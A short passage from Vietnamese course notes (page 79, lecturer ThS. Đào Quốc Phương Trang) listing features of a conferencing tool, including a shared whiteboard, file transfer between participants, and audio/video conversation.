tác vẽ trên cùng 1 bảng trắng • Tools – File Transfer: dùng để gửi/nhận file giữa các thành viên đang hội thoại. • Hội thoại hình ảnh và âm thanh GV: ThS. Đào Quốc Phương Trang 79